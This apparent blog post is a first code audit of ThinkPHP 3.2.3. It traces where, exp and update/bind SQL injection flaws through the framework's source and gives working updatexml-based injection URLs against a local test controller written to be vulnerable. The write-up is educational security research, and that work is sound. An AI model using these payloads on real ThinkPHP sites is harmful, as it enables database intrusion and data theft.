thinkphp3代码审计


环境配置

1.thinkphp官网下载thinkphp_3.2.3FUll版本。

2.数据库配置:

 'DB_TYPE'               =>  'mysql',     // 数据库类型
    'DB_HOST'               =>  '127.0.0.1', // 服务器地址
    'DB_NAME'               =>  'thinkphp',          // 数据库名
    'DB_USER'               =>  'root',      // 用户名
    'DB_PWD'                =>  'root',          // 密码
    'DB_PORT'               =>  '3306',        // 端口
    'DB_PREFIX'             =>  'thinkphp_',    // 数据库表前缀
    'DB_PARAMS'             =>  array(), // 数据库连接参数
    'DB_DEBUG'              =>  TRUE, // 数据库调试模式 开启后可以记录SQL日志
    'DB_FIELDS_CACHE'       =>  true,        // 启用字段缓存
    'DB_CHARSET'            =>  'utf8',      // 数据库编码默认采用utf8
    'DB_DEPLOY_TYPE'        =>  0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
    'DB_RW_SEPARATE'        =>  false,       // 数据库读写是否分离 主从式有效
    'DB_MASTER_NUM'         =>  1, // 读写分离后 主服务器数量
    'DB_SLAVE_NO'           =>  '', // 指定从服务器序号

3.数据库测试

 public function test(){
        $data = M('3')->where('id=1')->select();
        var_dump($data);
    }
1.jpg

2.jpg

至此环境基本配置完毕,还有就是xdebug之类的。


thinkphp开发模式学习

1.url模式

标准路由模式

http://serverName/index.php/模块/控制器/操作

如果我们直接访问入口文件的话,由于URL中没有模块、控制器和操作,因此系统会访问默认模块(Home)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:

http://serverName/index.php
http://serverName/index.php/Home/Index/index

普通模式

也就是传统的GET传参方式来指定当前访问的模块和操作,例如:

http://localhost/?m=home&c=user&a=login&var=value

m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参数。

兼容模式

是用于不支持PATHINFO的特殊环境,URL地址是:

http://localhost/?s=/home/user/login/var/value

分别为模块,控制器,方法,参数名,参数值。
变量名可自己控制:

'VAR_PATHINFO'          =>  'path'

A方法

在一个控制器中调用另一个控制器。
先新建一个控制器,继承think底层的contorller类,然后在实现方法即可。


3.png

然后在另一个控制器中使用A方法去

public function atest(){
        $User = A('User');
        $User->index();
    }
4.jpg

R方法

与A方法功能相同

public function atest(){
       R('User/index')
    }

Action参数绑定

根据官方手册:

namespace Home\Controller;
use Think\Controller;
class BlogController extends Controller{
    public function read($id){
        echo 'id='.$id;
    }
    public function archive($year='2013',$month='01'){
        echo 'year='.$year.'&month='.$month;
    }
}

url:

http://serverName/index.php/Home/Blog/read/id/5
http://serverName/index.php/Home/Blog/archive/year/2013/month/11

M方法和D方法

在实例化的过程中,经常使用D方法和M方法,这两个方法的区别在于M方法实例化模型无需用户为每个数据表定义模型类,如果D方法没有找到定义的模型类,则会自动调用M方法。通俗一点说:M实例化参数是数据库的表名。D实例化的是你自己在Model文件夹下面建立的模型文件
例如:user = new UserModel(); 等价于user = D('user');
如果实例化的是一个空模型
例如 Demo = new Model(); 那么它等价于Demo = M();

其他方法

A快速实例化Action类库
B执行行为类
C配置参数存取方法
D快速实例化Model类库
F快速简单文本数据存取方法
L 语言参数存取方法
M快速高性能实例化模型
R快速远程调用Action类方法
S快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法

I方法

I方法是ThinkPHP众多单字母函数中的新成员,其命名来自于英文Input(输入),主要用于更加方便和安全的获取系统输入变量,可以用于任何地方,用法格式如下:
I('变量类型.变量名',['默认值'],['过滤方法'])

where注入

测试代码:

     public function index()
    {
        $data = M('3')->find(I('GET.id'));
        var_dump($data);
    }

通过I方法获取id的值进行拼接,然后执行查询语句,最后得到结果,在此处打断点,开启debug模式。


5.jpg

可以看到正常情况下,执行的sql语句为:

SELECT * FROM `thinkphp_3` WHERE `id` = 1 LIMIT 1 

我们传入id=1'然后打断点。可以看到functions.php:380,使用了htmlspeclalchars进行了参数过滤,但是过滤后id值依旧为1'继续跟进。


6.jpg

7.jpg

然后在412行,array_walk_recursive()使用think_filte函数对传入值进行过滤。


8.jpg

think_filte:
function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

此时id依旧为1‘,然后在到748行,_parseOptions方法对传入参数进行处理。


9.jpg

在ThinkPHP/Library/Think/Model.class.php:648对查询的字段进行了检查,并使用_parseType方法进行了验证。

   if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
            $options = array_merge($this->options, $options);
        }
 
        if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
            // 自动获取表名
            $options['table'] = $this->getTableName();
            $fields           = $this->fields;
        } else {
            // 指定数据表 则重新获取字段列表 但不支持类型检测
            $fields = $this->getDbFields(); //设置了进这里
        }
 
        // 数据表别名
        if (!empty($options['alias'])) {//判断是否设置了数据表别名
            $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
        }
        // 记录操作的模型名称
        $options['model'] = $this->name;
 
        // 字段类型验证
        if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
            // 对数组查询条件进行字段类型检查
           ......
        }
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options = array();
        // 表达式过滤
        $this->_options_filter($options);
        return $options;

__parsetype:

 protected function _parseType(&$data,$key) {
        if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
            $fieldType = strtolower($this->fields['_type'][$key]);
            if(false !== strpos($fieldType,'enum')){
                // 支持ENUM类型优先检测
            }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
                $data[$key]   =  intval($data[$key]);
            }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
                $data[$key]   =  floatval($data[$key]);
            }elseif(false !== strpos($fieldType,'bool')){
                $data[$key]   =  (bool)$data[$key];
            }
        }
    }

在这里经过parsetype方法处理后我们传入的id的值被强转成int型。


10.jpg

最关键的代码在:

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

只要绕过这段代码,使其成假,不进入接下来的语句,就不会对我们的传入的字符进行处理,从而达到注入的效果。只要$options['where']不为数组,或者不设置值即可绕过。
payload:

http://127.0.0.1/thinkphp_3/?id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
11.jpg

传入id[where]=1 == where =>1


12.jpg

$input = array('id' => array('where' =>'1' ));

exp注入

表达式查询

先看官方给的定义:

$map['字段名'] = array('表达式','查询条件');
EXP 表达式查询,支持SQL语法   expression

exp表达式查询支持sql语法,那我们岂不是就能为所欲为?
官方给的🌰:

$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$data['name'] = 'ThinkPHP';
$data['score'] = array('exp','score+1');// 用户的积分加1
$User->where('id=5')->save($data); // 根据条件保存修改的数据 

我们可以发现,数组的第一个元素只要为exp就可以执行之后的slq语句,那么我们只要想办法能控制,给这个数组传值即可。
测试代码:

   public function index()
    {
        $User = D('3');
        $map = array();
        $map['id'] = $_GET['id'];
        $user = $User->where($map)->find();
        var_dump($user);
    }

打断点,跟进。
ThinkPHP/Library/Think/Model.class.php:765行find函数,使用:

 $resultSet          =   $this->db->select($options);

得到了查询结果,那么我们跟进select函数,到ThinkPHP/Library/Think/Db/Driver.class.php:942行。

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
    }

跟进buildselectsql函数,字面意思就是创建sql语句到956行。

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根据页数计算limit
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }

这里还是没发现exp的影子,而且又用parsesql函数,那么继续跟进parsesql函数。

 public function parseSql($sql,$options=array()){
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }

这个函数应该用来对sql语句进行处理,我们跟进parseWhere.


15.jpg

在这个函数中,不管怎么样,我们传进来的值都会被parseWhereItem进行处理,我们继续跟进。


16.jpg
 }elseif('bind' == $exp ){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];

这里,判断,然后直接进行拼接。
首先我们要满足:if(is_array(val))val的值就是我们传入的值,所以我们只要传入一个数组,然后exp= strtolower(val[0]);这里取val一号位的值,那么我们只要val[0]=exp且$val为数组即可进行注入。
payload:http://127.0.0.1/thinkphp_3/?id[0]=exp&id[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

17.jpg

之所以不用thinkphp内置函数I来获取值是因为,在where注入中,think_filter
函数,对传入参数进行了过滤。

function think_filter(&$value){
// TODO 其他安全过滤

// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
    $value .= ' ';
}
}

对exp进行了过滤所以不能成功注入。

update注入

上文说到,当$val[0]==bind时也会直接将语句拼接,update注入就出自与此。
代码:

   public function index()
    {

        $User = D('3');
        $user['id'] = I('id');
        $data['password'] = I('password');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }

在$valu行打断点,直接进入where方法,一路跟进,到update方法,在继续跟进此方法
到ThinkPHP/Library/Think/Db/Driver.class.php:891

public function update($data,$options) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if(strpos($table,',')){// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            //  单表更新支持order和lmit
            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

可以看到,数据传入后,经parserwhere处理最后交由execute,那么我们跟进

    public function execute($str,$fetchSql=false) {
        $this->initConnect(true);
        if ( !$this->_linkID ) return false;
        $this->queryStr = $str;
        if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }

可以看到当前的sql语句为:

'UPDATE `thinkphp_3` SET `password`=:0 WHERE `id` = :1'
19.jpg

经过

$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));

语句变为

UPDATE `thinkphp_3` SET `password`='122344' WHERE `id` = :1
20.jpg

我们发现:0被password的值替换,那么我们只要将id的值设置成0即可,在传入拼接的sql语句即可。
payload:

http://127.0.0.1/?id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))&password=122344
21.jpg

至此thinkphp3的漏洞审计告一断落,这也是我第一次代码审计,参考了很多师傅的文章,感谢各位师傅无私奉献的精神。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。